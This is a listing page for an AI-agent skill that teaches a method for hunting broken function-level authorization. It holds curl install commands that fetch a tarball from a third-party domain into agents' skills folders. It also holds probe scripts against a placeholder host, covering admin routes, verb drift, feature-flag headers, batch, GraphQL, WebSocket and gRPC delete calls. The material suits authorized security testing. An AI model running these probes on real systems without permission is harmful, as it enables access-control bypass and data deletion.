hunt-broken-function-level-auth – Other skill for AI agents
Hunt broken function-level authorization via verb drift, route shadowing, and transport gaps.
Install the hunt-broken-function-level-auth skill with one command
Pick the tool you use, copy the command and paste it in your terminal. The skill lands in that tool's skills folder and is ready in your next session.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-broken-function-level-auth-2f3e4.tgz | tar xz -C ~/.claude/skills
Call it in Claude Code: /hunt-broken-function-level-auth – then describe the task you want done.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-broken-function-level-auth-2f3e4.tgz | tar xz -C ~/.codex/skills
Call it in Codex: $hunt-broken-function-level-auth – then describe the task you want done.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-broken-function-level-auth-2f3e4.tgz | tar xz -C ~/.hermes/skills
Call it in Hermes Agent: /hunt-broken-function-level-auth – then describe the task you want done.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-broken-function-level-auth-2f3e4.tgz | tar xz -C ~/.deepcode/skills
Call it in DeepSeek: /hunt-broken-function-level-auth – then describe the task you want done.
SKILL.md content
Broken Function Level Authorization
Hunt for endpoints where authorization is enforced at the controller/middleware level but bypassed through HTTP verb drift, legacy routes, shadow endpoints, or transport protocol inconsistencies. Unlike IDOR (object-level), this targets ACTION-level authorization — can a user invoke admin functions despite lacking the admin role.
When to Use
- API has distinct user roles (admin, moderator, user) but role checks are per-controller, not per-method.
- Legacy or deprecated endpoints still served behind updated middleware.
- GraphQL, gRPC, and WebSocket transports exist alongside REST APIs without authorization parity.
- Feature flags or beta endpoints expose functionality before security review.
- Batch/job endpoints accept internal requests without role verification.
Quick Detection
# Verb drift: try PUT/DELETE on endpoints that return 403 on GET
for method in GET POST PUT PATCH DELETE OPTIONS; do
curl --max-time 30 --connect-timeout 10 -sk -X "$method" "https://target.com/api/admin/users" -w "$method %{http_code}\n" -o /dev/null
doneProcedure
Phase 1 — HTTP Verb Drift
# Admin endpoints — each HTTP method may have different auth
ENDPOINTS=(
"/api/admin/users"
"/api/admin/settings"
"/api/manage/orders"
"/api/internal/config"
)
for ep in "${ENDPOINTS[@]}"; do
for method in GET POST PUT PATCH DELETE; do
curl --max-time 30 --connect-timeout 10 -sk -X "$method" "https://target.com$ep" \
-w "$method $ep — %{http_code}\n" -o /dev/null
done
# Also try custom methods
curl --max-time 30 --connect-timeout 10 -sk -X "PURGE" "https://target.com$ep" -o /dev/null -w "PURGE — %{http_code}\n"
curl --max-time 30 --connect-timeout 10 -sk -X "DEBUG" "https://target.com$ep" -o /dev/null -w "DEBUG — %{http_code}\n"
donePhase 2 — Route Shadowing
# Legacy routes that bypass modern middleware
for path in "/api/v0/" "/api/v1/" "/api/legacy/" "/api/internal/" "/api/beta/" \
"/api/mobile/" "/api/partner/" "/api/integration/" "/api/webhook/"; do
curl --max-time 30 --connect-timeout 10 -sk "https://target.com${path}users" -w "%{http_code} — $path\n" -o /dev/null
done
# ffuf for route discovery
ffuf -u "https://target.com/api/FUZZ/users" \
-w /path/to/prefixes.txt \
-mc 200,301,401,403Phase 3 — Feature Flag Bypass
# Beta/preview endpoints often lack authorization
for flag in "beta" "preview" "canary" "experimental" "new" "v2" "preview"; do
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/${flag}/admin" -w "%{http_code} — $flag\n" -o /dev/null
done
# Feature flags in headers or cookies
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/admin/users" \
-H "X-Feature-Flags: admin" \
-H "X-Experimental: true" \
-H "X-Beta-Access: 1"Phase 4 — Batch & Job Endpoints
# Batch operations may skip per-item authorization
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/batch" \
-H "Content-Type: application/json" \
-d '{"operations":[{"method":"DELETE","path":"/users/1"},{"method":"GET","path":"/admin/logs"}]}'
# Background job endpoints
for path in "/api/jobs" "/api/tasks" "/api/cron" "/api/queue" "/api/workers"; do
curl --max-time 30 --connect-timeout 10 -sk "https://target.com${path}/admin-cleanup" -w "%{http_code} — $path\n" -o /dev/null
donePhase 5 — Transport Protocol Inconsistency
# GraphQL — check if mutations allow admin actions without role check
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"mutation { deleteUser(id: 1) { success } }"}'
# WebSocket — actions sent over WS may skip REST middleware
# Test via wscat
echo '{"type":"DELETE_USER","payload":{"userId":1}}' | wscat -c "wss://target.com/ws"
# gRPC — reflection may expose admin methods
grpcurl -plaintext target.com:50051 list
grpcurl -plaintext target.com:50051 admin.UserService/DeleteUserPhase 6 — Content-Type Middleware Gaps
# Different content types may hit different parsers/middleware
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/admin/users" \
-H "Accept: application/xml" \
-H "Content-Type: application/xml" \
-d '<user><name>test</name></user>'
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/admin/users" \
-H "Content-Type: multipart/form-data" \
-F "name=test"Pitfalls
- 405 Method Not Allowed ≠ no auth. The method must exist AND lack authorization to be a finding.
- Route shadowing requires the shadow endpoint to accept authenticated requests. A public user-info endpoint is not a finding.
- GraphQL
deleteUseron a consumer-facing mutation is an IDOR, not BFLA. BFLA is about action-level privileges, not object ownership. - WebSocket authorization bypass requires proof that the WS handler skips REST middleware checks. Compare WS vs REST for the same action.
Verification
1. A lower-privilege user invokes an admin-only action via an unguarded HTTP method, shadow route, or transport protocol.
2. The action succeeds (not just returns a different error — actually performs the operation).
3. The same action via the standard path (REST GET/POST) correctly returns 403.
4. Document the specific method, endpoint, and transport protocol that bypasses authorization.
Related Skills
hunt-idor— Object-level authorization (accessing other users' data).hunt-auth-bypass— Complete authentication bypass patterns.hunt-api-misconfig— API-level misconfigurations including transport gaps.
Related skills
- codebase-inspection – Inspect codebases w/ pygount: LOC, languages, ratios.
- planning-and-task-breakdown – Breaks work into ordered tasks. Use when you have a spec or clear requirements and need…
- etetoolkit – Analyzes, manipulates, compares, annotates, and visualizes phylogenetic or other…
- comfyui – Generate images, video, and audio via diffusion workflows.
- capacity-planner – Use when an ops leader (Director of CX, Head of Support, VP Ops, Head of BizOps, Head of…
- capture – Captures and organizes chaotic brain dumps into a structured, actionable system with…
- embedding-strategies – Select and optimize embedding models for semantic search and RAG applications. Use when…
- employment-contract-templates – Create employment contracts, offer letters, and HR policy documents following legal best…